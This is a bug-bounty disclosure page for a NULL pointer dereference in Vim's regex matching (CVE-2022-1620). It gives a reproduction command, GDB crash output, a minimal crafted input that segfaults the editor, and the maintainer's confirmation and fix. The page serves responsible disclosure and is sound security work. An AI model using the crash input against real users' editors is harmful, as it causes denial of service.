huntr

NULL Pointer Dereference in function vim_regexec_string at regexp.c:2729 in vim/vim

0

✓ Valid Reported on Apr 27th 2022

Description

NULL Pointer Dereference in function vim_regexec_string at regexp.c:2729 allows attackers to cause a denial of service (application crash) via a crafted input.

POC

```
./vim -u NONE -X -Z -e -s -S ./poc_n.dat -c :qa!
Segmentation fault
```

poc_n.dat

GDB

```
── Output/messages ──────────────────────────────────────────────────
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".

Program received signal SIGSEGV, Segmentation fault.
0x0000000000d21602 in vim_regexec_string (rmp=0x7fffffff8aa0, line=0x60600
2729        if (rmp->regprog->re_in_use)
── Assembly ─────────────────────────────────────────────────────────
 0x0000000000d215e7  vim_regexec_string+567 cmp    %cl,%al
 0x0000000000d215e9  vim_regexec_string+569 jl     0xd215fb <vim_regexec_st
 0x0000000000d215ef  vim_regexec_string+575 mov    0x118(%rbx),%rdi
 0x0000000000d215f6  vim_regexec_string+582 callq  0x4a1350
 0x0000000000d215fb  vim_regexec_string+587 mov    0x118(%r
 0x0000000000d21602  vim_regexec_string+594 cmpl   $0x0,(%rax)
```

Chat with us

```
 0x0000000000d21605  vim_regexec_string+597 je     0xd2166c <vim_regexec_st
 0x0000000000d2160b  vim_regexec_string+603 mov    0x175ed04,%ecx
 0x0000000000d21612  vim_regexec_string+610 mov    $0x17259e0,%rax

 0x0000000000d21619  vim_regexec_string+617 mov    (%rax),%rax
── Breakpoints ────────────────────────────────────────────────────────────
── Expressions ────────────────────────────────────────────────────────────
── History ────────────────────────────────────────────────────────────────
── Memory ─────────────────────────────────────────────────────────────────
── Registers ──────────────────────────────────────────────────────────────
    rax 0x0000000000000014     rbx 0x00007fffffff87a0     rcx 0x00000000000
     r9 0x000000000000e4bc     r10 0x000000000000e404     r11 0x00000000000
     cs 0x00000033              ss 0x0000002b              ds 0x00000000
── Source ─────────────────────────────────────────────────────────────────
 2724      int         result;
 2725      regexec_T     rex_save;
 2726      int         rex_in_use_save = rex_in_use;
 2727
 2728      // Cannot use the same prog recursively, it contains state.
 2729      if (rmp->regprog->re_in_use)
 2730      {
 2731      emsg(_(e_cannot_use_pattern_recursively));
 2732      return FALSE;
 2733      }
── Stack ──────────────────────────────────────────────────────────────────
[0] from 0x0000000000d21602 in vim_regexec_string+594 at regexp.c:2729
[1] from 0x0000000000d220ba in vim_regexec+90 at regexp.c:2812
[2] from 0x000000000053f2ae in fname_match+622 at buffer.c:2964
[3] from 0x000000000051afd4 in buflist_match+324 at buffer.c:2936
[4] from 0x0000000000515835 in buflist_findpat+4053 at buffer.c:2656
[5] from 0x00000000007f739e in do_one_cmd+50910 at ex_docmd.c:2532
[6] from 0x00000000007e49a6 in do_cmdline+14134 at ex_docmd.c:992
[7] from 0x0000000000e88e0d in do_source_ext+13725 at scriptfile.c:1674
[8] from 0x0000000000e85867 in do_source+103 at scriptfile.c:1801
[9] from 0x0000000000e8519d in cmd_source+2317 at scriptfile.c:1174
[+]
── Threads ────────────────────────────────────────────────────────────────
[1] id 2521650 name vim from 0x0000000000d21602 in vim_regexec_string+594 a
── Variables ──────────────────────────────────────────────────────────────
arg rmp = 0x7fffffff8aa0: {regprog = 0x0,startp = {[0] = 0x
loc result = 32767, rex_save = {reg_match = 0x619000001c78,reg_mmatch = 0x1
```

```
>>> p rmp->regprog
$1 = (regprog_T *) 0x0
```

Impact

NULL Pointer Dereference in function vim_regexec_string at regexp.c:2729 allows attackers to cause a denial of service (application crash) via a crafted input.

CVE
CVE-2022-1620
(Published)

Vulnerability Type
CWE-476: NULL Pointer Dereference

Severity
Medium (6.6)

Registry
Other

Affected Version
*

Visibility
Public

Status
Fixed

Found by

TDHX ICS Security
@jieyongma
pro

Fixed by

Bram Moolenaar
@brammool
maintainer

This report was seen 1,224 times.

We are processing your report and will contact the **vim** team within 24 hours. 7 months ago

We have contacted a member of the **vim** team and are waiting to hear back 7 months ago

We have sent a follow up to the **vim** team. We will try again in 7 days. 7 months ago

Bram Moolenaar 7 months ago

The POC looks like a bunch of random bytes. Please reduce to the minimal to reproduce the problem.

TDHX 7 months ago Researcher

try to reduced the POC to:

```
vs0000000
b[0--]\&\zs*\zs*e
```

It's also downloadable at poc_n_s

Tested as following:

```
./vim -u NONE -X -Z -e -s -S /mnt/share/max/fuzz/poc/vim/poc_n_s.dat -c :qa!
Segmentation fault (core dumped)
```

Bram Moolenaar validated this vulnerability 7 months ago

Thanks, now I can reproduce it. It's a NULL pointer access caused by an invalid regexp.

TDHX ICS Security has been awarded the disclosure bounty ✓

Chat with us

The fix bounty is now up for grabs

The researcher's credibility has increased: +7

Bram Moolenaar marked this as fixed in 8.2 with commit 8e4b76 7 months ago

Bram Moolenaar has been awarded the fix bounty ✓

This vulnerability will not receive a CVE ✗

Sign in to join this conversation

huntr

home

hacktivity

leaderboard

FAQ

contact us

terms

privacy policy

part of 418sec

company

about

team

Chat with us